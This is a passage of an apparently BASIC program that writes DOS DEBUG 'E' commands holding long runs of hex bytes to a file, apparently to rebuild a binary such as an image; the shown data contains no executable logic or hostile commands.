Print #1, "E 2810 4F 8D 8E 8B BE 85 AC BC 77 7E 8D 32 55 50 7C 1C"

Print #1, "E 2820 90 22 FF F8 FF F6 9B AC AC AC AC 7B 21 F1 04 04"

Print #1, "E 2830 FF FF FF 04 04 FF 04 FF FF FF FF 04 04 FF FF FF"

Print #1, "E 2840 FF FF FF FF 04 FF FF 04 04 04 1F 1F FF 1F FF 1F"

Print #1, "E 2850 1F FF 1F 1F 1F 1F FF 1F 1F 1F FF 1F 1F FF 1F 1F"

Print #1, "E 2860 1F 1F 1F FF 1F 1F 1F FF 1F FF FF FF FF FF FF FF"

Print #1, "E 2870 1F 1F 1F 1F FF FF FF 1F 1F FF FF FF FF 1F 1F 1F"

Print #1, "E 2880 FF 1F 1F 1F 04 1F 1F FF FF FF 00 FA FF FF FA FF"

Print #1, "E 2890 B9 B9 8D B4 6F 90 3E 4E 3B AC AC AC BC AC 4F 33"

Print #1, "E 28A0 4F 6C 40 B5 53 90 CB FF FF 0E 0F 81 BC AC BC BB"

Print #1, "E 28B0 2E FF F1 FE FF 04 FF FF FF FF 04 FF FF FF 04 04"

Print #1, "E 28C0 FF FF 04 FF 04 FF FF 00 FF FF FF 04 04 FF 1F 1F"

Print #1, "E 28D0 FF 1F FF 1F 1F FF 1F 1F 1F 1F FF FF 1F 1F FF 1F"

Print #1, "E 28E0 1F FF 1F 1F 1F 1F 1F FF 1F 1F 1F FF 1F 1F FF FF"

Print #1, "E 28F0 FF FF FF FF FF 1F 1F FF FF FF FF 1F 1F FF FF 1F"

Print #1, "E 2900 FF FF 1F 1F FF 1F 1F 1F FF 1F 1F 04 00 FF FE 04"

Print #1, "E 2910 FF FE FA 0E BC AE B5 90 5A 6A 39 82 9B 38 BD AC"

Print #1, "E 2920 AC 9B AC 1F 40 6C 8C 90 6A 31 5C 0E 0D F8 FF 0E"

Print #1, "E 2930 48 AC AC 49 14 EB F1 FE FF F1 FF FF FF FF FF 04"

Print #1, "E 2940 04 FF FF 04 04 FF FF FF FF FF 04 04 FF FF FF FF"

Print #1, "E 2950 FF FF 1F 1F FF 1F 1F 1F 1F FF FF FF 1F 1F FF FF"

Print #1, "E 2960 04 FF FF FF FF FF 1F 1F FF FF FF 04 FF FF FF 04"

Print #1, "E 2970 FF FF FF 04 FF 1F 1F FF 04 1F 1F FF FF FF FF 1F"

Print #1, "E 2980 1F FF FF FF FF FF FF FF FF 04 FF 04 04 1F 1F 00"

Print #1, "E 2990 FF 04 00 FA FF 00 FA FF 2A 31 25 78 D4 ED F6 F1"

Print #1, "E 29A0 0F A9 AC BD AC 38 49 BC BE 8B B4 6E 7E 32 14 3C"

Print #1, "E 29B0 F1 F6 F8 F6 FF 83 AC 62 18 CD F1 FE FF 04 04 04"

Print #1, "E 29C0 FF FF FF FF FF FF FF FF FF 04 04 FF 04 FF FF 04"

Print #1, "E 29D0 04 00 04 FF 04 FF 1F 1F FF 1F FF 1F 1F FF FF FF"

Print #1, "E 29E0 1F 1F FF FF FF 04 FF FF FF 04 1F 1F FF FF FF FF"

Print #1, "E 29F0 04 04 04 FF FF FF 04 04 FF 1F 1F FF 1F 1F 1F 1F"

Print #1, "E 2A00 04 FF 1F 1F 1F 1F FF FF FF FF 04 FF FF FF 04 FF"

Print #1, "E 2A10 FF 1F 1F 00 00 04 00 FF FF FF FF 0E BE 9F 21 FA"

Print #1, "E 2A20 FF FF FF 0E FF 0E 9A AC BC BC BA 80 80 85 7E B5"

Print #1, "E 2A30 35 45 8F 18 F1 0D FF FE FA F1 BB 38 34 3C 0E F4"

Print #1, "E 2A40 FF FF FF FF FF FF FF FF FF FF FF FF 04 04 FF FF"

Print #1, "E 2A50 FF 04 04 04 FF 00 04 04 FF 04 FF FF FF FF FF FF"

Print #1, "E 2A60 FF FF FF FF FF 04 04 04 04 FF FF 04 FF FF 04 FF"

Print #1, "E 2A70 FF 04 FF FF 04 FF FF FF 04 FF FF 04 FF FF FF FF"

Print #1, "E 2A80 FF FF 04 FF 04 FF FF FF FF FF 04 FF FF 04 04 04"

Print #1, "E 2A90 FF FF FF FF 04 FF FF FF FF 04 FF FF 0E FF FF 48"

Print #1, "E 2AA0 7F AD 0E FA FF FF FF FF FF FF 82 9A AA 9D BA 99"

Print #1, "E 2AB0 99 B9 8D B5 42 42 B3 31 DD 0E FF FF FF FF 0E 9B"

Print #1, "E 2AC0 B3 63 0E FF FF FF FF FF FF 04 04 FF FF FF 04 04"

Print #1, "E 2AD0 FF FF FF FF FF 04 04 FF 04 FF FF FF FF FF FF FF"

Print #1, "E 2AE0 FF FF 04 FF FF FF FF FF FF FF 04 04 04 04 FF FF"

Print #1, "E 2AF0 FF FF 04 04 FF FF FF 04 FF 04 FF FF 04 FF 04 FF"

Print #1, "E 2B00 FF 04 FF FF FF FF 04 04 04 FF 04 FF FF FF FF 04"

Print #1, "E 2B10 04 04 FF FF FF FF 04 FE FE FF 04 00 04 04 0E FF"

Print #1, "E 2B20 FE 0E 0F B7 AD 10 FF FA FF FF FF FF F6 FF 0E 48"

Print #1, "E 2B30 9A B9 99 B8 B8 C5 85 44 44 52 52 52 63 FF FF 0E"

Print #1, "E 2B40 F1 F1 F1 0E 2E 64 04 04 FF 04 04 FF FF 04 FF 04"

Print #1, "E 2B50 FF FF FF FF 04 FF FF FF FF FF 04 04 FF 04 FF FF"

Print #1, "E 2B60 04 04 FF FF FF FF FF FF 04 04 04 FF 04 04 FF FF"

Print #1, "E 2B70 FF FF 04 04 04 FF 04 FF FF FF 04 04 FF 04 FF FF"

Print #1, "E 2B80 04 04 FF 04 FF FF FF 04 FF FF FF FF FF FF FF FF"

Print #1, "E 2B90 FF 04 FF FF 04 FF 04 FF FF FF FF F1 FF FF 04 FF"

Print #1, "E 2BA0 04 FF FA 04 0E 9C A9 A2 FF FF FF FF FF FF 0E F1"

Print #1, "E 2BB0 FF FE FF FF 48 A7 B7 B8 B8 A7 A7 31 42 B5 52 44"

Print #1, "E 2BC0 31 F1 FF F6 FE 0D FF FF FF FF FF FA 04 04 04 04"

Print #1, "E 2BD0 FF FF 04 FF 04 FF 04 FF FF 04 04 04 04 FF 04 04"

Print #1, "E 2BE0 04 FF 04 FF FF FF FF FF FF FF 04 04 04 04 FF 04"

Print #1, "E 2BF0 04 04 FF FF 04 FF FF FF FF FF FF 04 04 FF FF FF"

Print #1, "E 2C00 FF FF 04 FF 04 FF 04 FF FF FF FF FF 04 FF FF FF"

Print #1, "E 2C10 04 FF FF FF FF 04 FF FF 04 FF FF FF FF FF 04 FF"

Print #1, "E 2C20 0E 04 04 04 FF 0E 04 0E 66 A9 6E 22 FA FF FF FF"

Print #1, "E 2C30 FF FF FF FF FF FF FA FF 63 B7 A7 A7 B8 B7 A7 31"

Print #1, "E 2C40 59 44 41 B3 44 CD FF FF 0E FF F1 FF FF F1 F1 04"

Print #1, "E 2C50 04 FF FF 04 04 04 FF FF FF FF FF 04 FF FF FF FF"

Print #1, "E 2C60 FF FF FF FF FF FF FF 04 FF FF 04 FF FF 04 FF 04"

Print #1, "E 2C70 FF 04 04 04 FF 04 FF FF FF 04 FF FF 04 FF 04 04"

Print #1, "E 2C80 FF 04 04 FF FF FF FF FF FF 04 FF 04 04 04 04 04"

Print #1, "E 2C90 04 04 FF FF FF 04 FF FF 04 04 FF FF FF FF FF FF"

Print #1, "E 2CA0 FF FF FF FF 04 FE FF 04 04 F1 0E 78 99 D0 CF F1"

Print #1, "E 2CB0 FA FF FF FF FF FF FA 0E FF FF FA FF 0E 37 A7 A7"

Print #1, "E 2CC0 A7 B7 A7 79 59 45 41 41 31 D0 0E 4B 9F EB F2 FF"

Print #1, "E 2CD0 FA FF FF 04 FF 04 FF 04 04 04 04 04 FF FF FF 04"

Print #1, "E 2CE0 04 FF 04 FF FF 04 04 04 FF FF 04 FF 04 FF 04 FF"

Print #1, "E 2CF0 04 FF FF FF 04 04 FF 04 FF 04 FF FF FF 04 FF 04"

Print #1, "E 2D00 FF FF 04 04 FF 1F 1F FF FF FF FF FF FF 04 04 1F"

Print #1, "E 2D10 1F 04 1F 1F 1F 1F FF FF 04 1F 04 04 04 04 FF FF"

Print #1, "E 2D20 FF FF FF FF 04 FF 04 04 04 FA 04 04 4B 38 AC 04"

Print #1, "E 2D30 B0 2E 0E FB FF FF FF FF FF FA F8 FF 0E FF FA FF"

Print #1, "E 2D40 FF CA B8 A7 B8 B7 2A 34 59 44 41 41 58 D0 C6 85"

Print #1, "E 2D50 40 78 0E FB FE FF FF FF FF 04 FF FF 04 FF FF FF"

Print #1, "E 2D60 FF FF 04 04 FF 04 FF FF FF FF FF FF 04 FF 04 04"

Print #1, "E 2D70 FF 04 FF FF FF 04 00 04 04 04 FF 04 04 FF FF 04"

Print #1, "E 2D80 FF FF FF 04 FF 04 FF 04 FF 1F 1F FF FF FF FF FF"

Print #1, "E 2D90 FF FF 1F 1F 1F FF 1F 1F 1F FF FF FF 1F 1F 1F 1F"

Print #1, "E 2DA0 04 04 FF FF 04 FF FF FF 04 04 04 04 04 FF F1 FF"

Print #1, "E 2DB0 04 AC AB BD 90 6F 69 A0 7B 0F F1 FF FF FE F1 F1"

Print #1, "E 2DC0 0E FF F1 F1 0E A7 96 2A 96 96 B9 42 31 52 45 45"

Print #1, "E 2DD0 B5 B3 D2 53 4F B3 41 0F FF FF FF 04 FF 04 FF 04"

Print #1, "E 2DE0 FF FF FF FF FF 04 FF FF 04 FF FF FF 04 FF 04 04"

Print #1, "E 2DF0 04 04 FF 04 FF 04 FF FF FF 00 04 00 04 00 04 04"

Print #1, "E 2E00 04 04 FF FF FF FF FF 04 04 04 FF 04 FF 1F 1F FF"

Print #1, "E 2E10 04 FF FF FF FF FF 1F 1F 1F FF 1F 1F 1F FF FF FF"

Print #1, "E 2E20 FF 1F 1F 1F 1F 04 04 04 FF FF 04 FF FF FF FF FF"

Print #1, "E 2E30 04 04 FF FF A7 9D BD AF 5A 4F 4E BE 4E 3E 22 0E"

Print #1, "E 2E40 F1 FF FE FB FA FF 0E 10 75 B8 B8 D2 BA AC 67 58"

Print #1, "E 2E50 34 42 44 59 7E 3D 57 22 4B BE 5C 21 FF FF FF FF"

Print #1, "E 2E60 FF FF FF 04 FF 04 04 FF 04 FF FF FF FF 04 04 04"

Print #1, "E 2E70 FF FF 04 04 04 FF 04 04 FF 04 FF FF 00 FF FF FF"

Print #1, "E 2E80 00 00 FF FF FF FF FF FF FF 04 1F 1F 1F 1F 1F 04"

Print #1, "E 2E90 FF 1F 1F FF 04 FF 04 FF 1F 1F 1F 1F FF FF 1F 1F"

Print #1, "E 2EA0 1F FF FF FF FF FF 1F 1F 1F 1F 1F 1F 1F 1F 1F 04"

Print #1, "E 2EB0 04 04 FF 04 FE FF 0E 04 CA B8 C5 3B 40 40 BE AF"

Print #1, "E 2EC0 B4 55 4F 4E 32 32 67 BD BD BD 4F 6F 6C 8C 88 BE"

Print #1, "E 2ED0 3B 67 67 85 85 8D 7E 7C 4F 45 8F 14 FF FF 0F 0E"

Print #1, "E 2EE0 FF FF F6 F6 FF FF FF 04 FF 04 FF FF 04 FF FF FF"

Print #1, "E 2EF0 FF FF 04 FF FF 04 FF FF FF FF FF FF FF FF FF FF"

Print #1, "E 2F00 00 00 00 FF FF 00 FF FF FF 04 FF FF 04 FF 04 FF"

Print #1, "E 2F10 04 FF 04 FF FF 1F 1F 04 04 04 04 04 1F 1F 1F FF"

Print #1, "E 2F20 FF FF 1F 1F 1F FF FF 04 04 FF 1F 1F 1F 1F 1F FF"

Print #1, "E 2F30 04 04 FF FF FF FF 04 FF 0E 0E 95 A7 2A B7 A7 AC"

Print #1, "E 2F40 4E 8C BE 88 56 6C 4E 69 32 7C AC AC AB A2 3F 22"

Print #1, "E 2F50 3A 4D 67 8B 8B 8B 8B 87 87 85 87 4F B5 52 B5 3F"

Print #1, "E 2F60 1B F2 91 25 1B 0E FF F8 FF FF FF FF 04 FF 04 FF"

Print #1, "E 2F70 FF 04 FF FF FF 04 FF FF FF FF 04 FF FF 04 04 04"

Print #1, "E 2F80 FF FF FF 04 FF FF 00 FF FF FF 04 00 FF FF FF FF"

Print #1, "E 2F90 FF 04 FF 04 FF FF FF FF FF 1F 1F 1F 1F FF 1F 1F"

Print #1, "E 2FA0 1F 1F FF FF FF FF 1F 1F 1F 04 FF FF 04 04 1F 1F"

Print #1, "E 2FB0 1F 1F 1F FF FF FF 04 FF 04 FF 04 04 0E B6 C5 C5"

Print #1, "E 2FC0 A7 2A A7 D2 4E 4D 88 BE 40 4E 4F 5A 56 7C AC BF"

Print #1, "E 2FD0 23 2E CB EF FF EB DC 83 85 4D BE 87 85 BC AC 4C"

Print #1, "E 2FE0 52 52 A2 41 63 0D 0E AB 3A 0F 0E F8 FF FF FF 04"

Print #1, "E 2FF0 FF FF 04 FF 04 04 FF 04 FF FF 04 FF 04 FF FF FF"

Print #1, "E 3000 FF FF FF 04 FF FF FF 04 FF 00 FF FF 00 FF 00 FF"

Print #1, "E 3010 00 04 FF FF 04 FF FF FF FF FF FF 04 FF 1F 1F 1F"

Print #1, "E 3020 FF 1F 1F 1F 1F FF FF FF FF 04 1F 1F 1F FF FF FF"

Print #1, "E 3030 FF 04 1F 1F 1F 1F 1F FF 04 04 FF 04 04 04 FF F6"

Print #1, "E 3040 0E 96 D2 C5 A7 2A C5 B9 AF 88 88 8B 7C 7C 1F 33"

Print #1, "E 3050 7E 8C 58 52 23 1B F1 FF FF F8 FA FF CD 9C AC AE"

Print #1, "E 3060 AC AA A9 BC 52 52 23 A2 6B FF 0E 10 BC 22 0E FB"

Print #1, "E 3070 FF 04 04 FF 04 04 FF FF 04 04 04 FF FF FF 04 FF"

Print #1, "E 3080 04 FF FF FF FF FF FF FF FF FF FF 04 04 04 00 FF"

Print #1, "E 3090 00 FF 00 FF FF 00 04 FF 04 04 FF FF 04 FF FF FF"

Print #1, "E 30A0 FF 1F 1F FF FF 1F 1F 1F 1F 04 FF FF FF FF 1F 1F"

Print #1, "E 30B0 1F 04 04 FF FF FF 1F 1F 1F 1F 1F FF FF 04 04 FF"

Print #1, "E 30C0 FF 04 04 FA 10 A7 96 A7 A7 A7 B7 B8 62 3B B1 6C"

Print #1, "E 30D0 7C 55 6F 4F 4E 4E 34 8F 1B 0E FF F8 0D 0F 11 10"

Print #1, "E 30E0 0F 0F 91 BD 80 99 38 AF B5 59 7B 34 19 08 F1 83"

Print #1, "E 30F0 88 42 63 F1 FF FF 0E FF FF 04 FF FF 04 FF FF FF"

Print #1, "E 3100 FF FF FF FF FF FF 04 FF FF FF FF 04 FF 04 FF 04"

Print #1, "E 3110 FF 04 04 04 00 00 FF 04 FF FF FF FF FF FF FF FF"

Print #1, "E 3120 FF FF FF FF FF 1F 1F FF FF FF 1F 1F 1F 1F 04 FF"

Print #1, "E 3130 FF FF 1F 1F 1F 04 FF FF FF FF 1F 1F 1F 1F FF FF"

Print #1, "E 3140 FF FF 04 FF FF FF FF FF A1 B7 B8 A7 2A B7 B7 B8"

Print #1, "E 3150 A9 3B 88 6C 33 33 69 8E 6D 5C A2 3C 02 FF F1 F6"

Print #1, "E 3160 0E AC 67 BE 88 67 4A A9 D2 BD AF 87 85 34 59 BF"

Print #1, "E 3170 1A FF 0E 64 31 43 22 FE FF 04 04 FF 04 FF FF 04"

Print #1, "E 3180 FF FF FF FF FF FF 04 FF 04 FF 04 FF FF FF FF 04"

Print #1, "E 3190 04 FF FF 04 04 FF 04 FF 04 00 FF 04 FF FF FF 04"

Print #1, "E 31A0 FF FF FF 04 FF FF FF FF FF 1F 1F FF FF FF FF 1F"

Print #1, "E 31B0 1F 1F 1F FF FF FF 1F 1F 1F 04 04 FF 04 FF 1F 1F"

Print #1, "E 31C0 1F 1F 04 04 FF FF FF 04 FF 04 FF FF 97 C5 CA A7"

Print #1, "E 31D0 A7 B8 B8 A7 99 4E 89 8B 6A 6A 44 58 58 34 58 3C"

Print #1, "E 31E0 F8 F8 0E 0E AA AC 8D 59 42 25 52 38 AE 88 AF BE"

Print #1, "E 31F0 85 9E 45 58 23 0E F1 0E 8F 41 0C 21 FF 04 F6 04"

Print #1, "E 3200 FF FF 04 04 FF FF 04 FF FF FF FF FF 04 FF FF FF"

Print #1, "E 3210 04 FF 04 FF FF FF FF FF FF FF 04 FF 04 FF FF FF"

Print #1, "E 3220 04 FF FF 04 04 04 04 FF FF 04 FF FF 04 1F 1F 04"

Print #1, "E 3230 04 FF FF FF 1F 1F 1F 1F 04 FF 1F 1F 1F 04 FF 04"

Print #1, "E 3240 04 1F 1F 1F FF 04 FF FF FF 04 FF FF FF 04 FF FF"

Print #1, "E 3250 C5 B7 CA B7 A7 96 A7 D2 38 44 B3 52 52 52 52 52"

Print #1, "E 3260 58 B3 7B CC FF 0E BA D2 83 39 19 0F 0F 10 10 F2"

Print #1, "E 3270 0E CB 16 67 AF AC 45 6E 8D 59 9F 0D 16 39 CC DC"

Print #1, "E 3280 EE 0E FF 04 FF FF FF FF 04 FF FF FF FF 04 FF FF"

Print #1, "E 3290 FF FF FF 04 04 FF FF 04 FF FF 04 FF 04 FF FF FF"

Print #1, "E 32A0 FF 04 04 FF 04 FF 04 FF FF 04 04 04 04 FF FF FF"

Print #1, "E 32B0 FF 1F 1F 04 FF FF FF 04 FF 1F 1F 1F 1F 04 1F 1F"

Print #1, "E 32C0 1F 1F FF 04 04 1F 1F FF 04 04 FF 04 00 00 FF FF"

Print #1, "E 32D0 FF FF FF 0E A7 B7 B7 B7 A7 CA B7 C5 3D 44 79 58"

Print #1, "E 32E0 44 45 52 58 58 58 0B F8 0E 10 D2 A9 A2 7F AB BD"

Print #1, "E 32F0 85 87 4E 10 0E F8 F1 A8 BC 85 85 52 1C 6E 32 8A"

Print #1, "E 3300 FE FF FF 0A 03 0E F1 FF FF FF 04 FF FF FF FF FF"

Print #1, "E 3310 04 FF FF FF 04 04 FF 04 04 04 04 FF FF 04 FF 04"

Print #1, "E 3320 FF FF FF FF FF FF 04 FF FF FF FF FF 04 04 04 04"

Print #1, "E 3330 04 04 FF FF FF 1F 04 FF FF FF 04 FF FF FF 1F 1F"

Print #1, "E 3340 1F 1F 1F 1F 1F FF FF 04 1F FF 04 04 04 FF FF 00"

Print #1, "E 3350 FF FF FF FF FF FF FF FF A7 A7 96 A7 A7 96 A7 D2"

Print #1, "E 3360 6D 25 41 58 44 44 52 52 B3 7B 0B FE 10 99 A0 4E"

Print #1, "E 3370 2F 86 BC 38 AC B0 BE 26 13 0E F4 F1 BB 80 B0 90"

Print #1, "E 3380 6C 8D 6E 6F 0F 0E 0F 13 E8 0E F1 FF FF FF 04 FF"

Print #1, "E 3390 FF FF FF FF FF 04 04 04 04 FF FF 04 FF 04 FF FF"

Print #1, "E 33A0 04 04 FF 04 FF FF FF FF FF FF FF FF FF FF FF FF"

Print #1, "E 33B0 FF FF 04 FF FF 04 FF FF FF 04 FF 04 FF 04 FF FF"

Print #1, "E 33C0 FF 04 FF 1F 1F 04 FF 04 04 FF FF 04 04 FF 04 04"

Print #1, "E 33D0 FF 00 FF FF 00 FF FF FF FF FF FF 0E CA C5 96 A7"

Print #1, "E 33E0 B7 96 A7 B9 B5 42 7B 18 52 52 52 34 34 34 CC 0F"

Print #1, "E 33F0 99 BA BF 86 60 85 38 AB AF B1 7C 7E 6A B2 FF FA"

Print #1, "E 3400 FF A8 6D 5A 5B 6C 4C 4F 8B 8C BD 4C E8 F6 FA FF"

Print #1, "E 3410 FF FF FF FF FF FF FF 04 FF 04 FF FF FF FF FF FF"

Print #1, "E 3420 FF FF FF FF 04 04 FF FF FF FF FF 04 04 04 FF 04"

Print #1, "E 3430 FF FF FF 00 00 04 FF 00 FF FF 04 FF FF 04 FF 04"

Print #1, "E 3440 FF 04 04 FF FF 04 FF FF FF FF FF FF FF FF FF FF"

Print #1, "E 3450 FF FF FF 04 FF FF 04 FF FF 00 04 FF 00 04 FF 0E"

Print #1, "E 3460 D2 D2 C2 A7 A7 2A C2 A7 31 79 36 42 52 52 52 52"

Print #1, "E 3470 58 A2 70 17 A7 57 FC 23 75 BC BC BC AB 85 40 8E"

Print #1, "E 3480 1C 31 0E FE FE FF 9F 0A FC FC 81 B0 89 67 18 23"

Print #1, "E 3490 F6 FA FF FF FF FF 04 FF FF FF FF FF FF 04 04 FF"

Print #1, "E 34A0 FF 04 FF FF FF 04 FF 04 FF 04 FF 04 FF 04 FF 04"

Print #1, "E 34B0 FF 04 FF 04 04 FF 00 FF FF FF FF 00 FF 04 04 FF"

Print #1, "E 34C0 04 04 FF FF FF FF 04 FF FF FF FF 04 FF 04 FF 04"

Print #1, "E 34D0 FF FF 04 04 FF 04 04 04 04 FF FF 00 04 00 04 04"

Print #1, "E 34E0 FF FF FF 0E A7 D2 A5 B7 A7 2A B8 B9 44 79 BF 42"

Print #1, "E 34F0 44 52 52 52 5C 58 0F 96 B9 54 FF BA A7 C6 B9 9D"

Print #1, "E 3500 BC 3D B3 B5 42 B5 43 F2 F1 F8 FF F1 F1 F1 0D FE"

Print #1, "E 3510 BD 3F 82 F9 FF FF 0E FF FF FF FF FF FF 04 FF FF"

Print #1, "E 3520 04 FF FF 04 FF FF FF FF FF FF FF 04 04 04 04 04"

Print #1, "E 3530 04 04 04 FF FF 04 FF FF 04 FF 00 FF FF 00 00 FF"

Print #1, "E 3540 00 FF FF FF 04 FF 04 FF FF FF FF FF 04 FF 04 FF"

Print #1, "E 3550 FF 04 FF FF FF FF 04 FF FF FF 04 FF 04 FF FF 04"

Print #1, "E 3560 FF 04 04 04 FF FF FF 0E B7 D2 B7 A7 B7 2A A7 B9"

Print #1, "E 3570 42 45 58 6E 44 52 44 44 59 7E BD 9D 52 6B F6 96"

Print #1, "E 3580 B7 B7 A7 2F 42 52 45 5C 2F 21 13 61 F1 FE 0E 0E"

Print #1, "E 3590 10 9C 85 4D 0E 83 B0 87 87 4E 0B FF FF FF 04 FF"

Print #1, "E 35A0 04 04 04 FF FF FF FF 04 04 04 FF FF 04 FF FF FF"

Print #1, "E 35B0 FF FF FF 04 04 04 FF 04 04 FF 04 FF 04 00 FF 04"

Print #1, "E 35C0 FF 00 FF 00 FF FF FF FF FF FF 04 FF 04 FF 04 FF"

Print #1, "E 35D0 FF FF FF FF FF FF 04 FF 04 FF 04 04 04 04 FF FF"

Print #1, "E 35E0 FF FF 04 04 04 04 04 04 FF FF FF FF 99 A7 2A C5"

Print #1, "E 35F0 A7 A7 C5 C5 67 42 42 8D 59 7E 7E 6F 33 50 8D 8F"

Print #1, "E 3600 1D CD FA A7 2A C5 67 58 8F A2 28 FB F8 FA FF 3A"

Print #1, "E 3610 FF 0E 0E B9 45 38 49 AF 6E 22 2B 80 62 35 1D FF"

Print #1, "E 3620 FF FF 04 FF FF FF 04 FF FF FF FF FF 04 04 04 FF"

Print #1, "E 3630 04 FF FF FF FF FF 04 FF FF FF FF FF FF 04 FF FF"

Print #1, "E 3640 FF FF FF 00 FF 00 FF 00 FF FF FF FF FF FF FF FF"

Print #1, "E 3650 FF FF FF FF 04 04 FF FF 04 FF FF 04 FF 04 04 04"

Print #1, "E 3660 04 FF FF FF 00 FF FF FF 04 FF FF FF FF FF FF 04"

Print #1, "E 3670 B8 C5 2A C5 A7 A7 C5 D2 A9 44 45 8D 7E 8E 6F 6F"

Print #1, "E 3680 50 6C B3 34 41 3C FF B9 A7 B9 3B 44 A2 7B 2E F8"

Print #1, "E 3690 FF 10 2F 65 FF 0F 82 64 0E C0 A9 BC 35 2F 0E A4"

Print #1, "E 36A0 D2 58 9F FF FF FF 04 04 FF FF FF FF FF 04 04 FF"

Print #1, "E 36B0 04 04 04 FF FF 04 FF 04 04 FF FF 04 FF 04 FF FF"

Print #1, "E 36C0 FF FF 04 04 04 FF 04 04 FF 00 04 FF 04 FF 04 04"

Print #1, "E 36D0 FF 04 FF FF 04 FF FF FF FF FF 04 FF FF FF FF 04"

Print #1, "E 36E0 04 04 FF 04 04 FF FF FF FF 00 FF 04 FF 04 04 04"

Print #1, "E 36F0 FF FF FF FF 9B 99 2A A7 A7 2A A7 C5 C5 42 44 6E"

Print #1, "E 3700 7E 7E 33 5A 7C 40 5C 41 41 3C FF B0 C6 DB 4C 45"

Print #1, "E 3710 34 1D 19 FF 6B C5 85 43 F6 FF BC E1 F8 0D BC A9"

Print #1, "E 3720 B5 45 AE 99 A9 8F 23 FF 04 FF 04 FF FF FF FF FF"

Print #1, "E 3730 04 FF FF FF 04 04 FF FF FF 04 04 04 04 FF 04 FF"

Print #1, "E 3740 04 04 04 04 FF FF 04 FF 04 04 FF 04 FF 04 FF FF"

Print #1, "E 3750 04 04 FF FF FF FF 04 FF FF FF FF FF FF FF FF 04"

Print #1, "E 3760 04 04 1F 1F FF 04 FF FF FF FF FF FF FF FF FF FF"

Print #1, "E 3770 04 04 FF FF FF 04 04 FF 0E A5 2A C2 A7 A7 B8 D2"

Print #1, "E 3780 99 6E 44 45 50 50 4F 4F 4E 6E 41 B3 45 3C FA F1"

Print #1, "E 3790 99 60 67 57 5C 43 0D 11 DB A9 57 30 F2 FF 99 9F"

Print #1, "E 37A0 F1 F1 11 99 18 B3 41 3E AC 9F 31 FF FF FF FF FF"

Print #1, "E 37B0 04 FF FF FF FF 04 04 04 FF FF FF FF 04 FF FF FF"

Print #1, "E 37C0 04 FF 04 04 FF FF 04 FF FF FF 04 FF FF FF FF FF"

Print #1, "E 37D0 FF FF 04 FF 04 FF FF 04 04 FF FF FF FF FF FF 04"

Print #1, "E 37E0 FF FF 04 04 04 1F 1F 1F 1F FF FF FF FF FF 00 00"

Print #1, "E 37F0 00 FF 04 04 FF 04 FF 04 FF FF FF FF 0E 96 A7 A7"

Print #1, "E 3800 A7 2A DB C6 99 65 6D 6E 6F 7C 4F 8E 59 52 41 52"

Print #1, "E 3810 45 3F FF FF 76 BC 67 34 1D 19 FF 2A B9 79 64 0B"

Print #1, "E 3820 FA F6 96 2F 82 F1 FF 98 1D 8F 9F 67 B9 4B 34 FF"

Print #1, "E 3830 FF FF FF 04 FF 04 FF 04 FF 04 FF FF FF FF 04 FF"

Print #1, "E 3840 FF FF 00 FF 04 FF FF FF FF FF FF FF 04 FF FF FF"

Print #1, "E 3850 FF FF FF FF FF 04 FF 04 04 04 1F 1F 1F FF FF FF"

Print #1, "E 3860 FF FF FF FF 04 04 04 04 04 1F 1F 1F 1F FF FF FF"

Print #1, "E 3870 04 FF 00 00 FF FF 00 04 FF 04 04 FF 04 04 FF FF"

Print #1, "E 3880 FF 2A D2 99 C5 B8 99 99 B9 A9 45 45 59 7E 32 B5"

Print #1, "E 3890 6E 44 52 44 52 15 FF 0F FF AC 67 36 23 F0 F1 96"

Print #1, "E 38A0 A9 5C 15 0F FA FE DB 3E 14 0E F1 D4 79 7B 3C BB"

Print #1, "E 38B0 D2 2B 7B 04 FF 04 04 FF 04 FF FF FF FF 04 04 FF"

Print #1, "E 38C0 04 04 FF 04 04 04 00 00 FF 04 FF 04 04 04 FF FF"

Print #1, "E 38D0 04 FF FF FF 04 04 04 04 04 04 04 04 FF FF 1F 1F"

Print #1, "E 38E0 1F FF FF FF FF FF 04 FF FF 04 04 04 FF 1F 1F 1F"

Print #1, "E 38F0 FF FF FF FF FF FF FF 00 FF FF 00 FF FF 04 04 FF"

Print #1, "E 3900 FF 04 FF FA 0E 75 99 A9 99 99 99 99 C6 B9 A0 42"

Print #1, "E 3910 6E 52 45 6E 44 45 52 42 28 52 AD FE FF 85 AF B3"

Print #1, "E 3920 A2 F1 FB A7 B3 5C BF 0E AD F1 C5 85 31 63 FF 0E"

Print #1, "E 3930 66 BF 63 BB A7 38 7B FF 04 FF 04 04 FF 04 FF FF"

Print #1, "E 3940 04 FF FF 04 04 FF FF FF FF FF 00 00 00 FF 00 04"

Print #1, "E 3950 FF FF 04 FF FF FF FF 04 04 00 04 FF 04 04 FF 04"

Print #1, "E 3960 04 FF FF 1F 1F 1F 1F 1F 1F 1F 1F 04 FF FF FF FF"

Print #1, "E 3970 FF FF 1F FF 04 FF FF FF FF FF 00 04 00 FF 00 FF"

Print #1, "E 3980 04 04 FF FF 04 FF FF F6 0D 0E 75 C6 99 B9 99 99"

Print #1, "E 3990 99 B9 A9 6A 42 44 44 42 6E 6E 59 44 35 58 31 AD"

Print #1, "E 39A0 F1 FE FF 81 3E 42 6E 0C 61 F1 F1 96 B1 52 11 C5"

Print #1, "E 39B0 6A 84 FF FF 9F 43 08 97 C5 78 44 FF FF FF FF 04"

Print #1, "E 39C0 04 FF FF FF 04 FF FF 04 FF FF FF FF FF FF 00 00"

Print #1, "E 39D0 04 FF FF FF FF 04 FF 04 04 04 FF 00 04 04 04 04"

Print #1, "E 39E0 04 04 04 FF FF FF FF 1F 1F 1F 1F 1F 1F 1F 1F 1F"

Print #1, "E 39F0 04 04 FF 04 FF FF 1F FF FF FF 04 FF FF FF 04 FF"

Print #1, "E 3A00 FF FF 00 04 04 04 FF 04 FF FF FF 04 FF 0E A6 DB"

Print #1, "E 3A10 80 B9 C5 99 99 99 B9 BC 42 6E 59 6E 6D 6D 6E B5"

Print #1, "E 3A20 B5 59 34 1C EB FE FD FB F1 CC 17 F1 FA FA FF 99"

Print #1, "E 3A30 AF 43 FF 9A 85 AD FF 0E 43 7B 0E 98 D2 BF 30 FF"

Print #1, "E 3A40 FF 04 FF FF 04 FF 04 04 04 FF 04 FF 04 04 04 FF"

Print #1, "E 3A50 04 04 00 FF 00 FF 04 04 FF FF FF 04 04 04 FF 04"

Print #1, "E 3A60 00 FF 00 04 FF 04 04 FF FF FF 04 FF 1F 1F FF 1F"

Print #1, "E 3A70 1F 1F 1F 1F FF FF 04 FF FF FF 1F FF FF 04 FF FF"

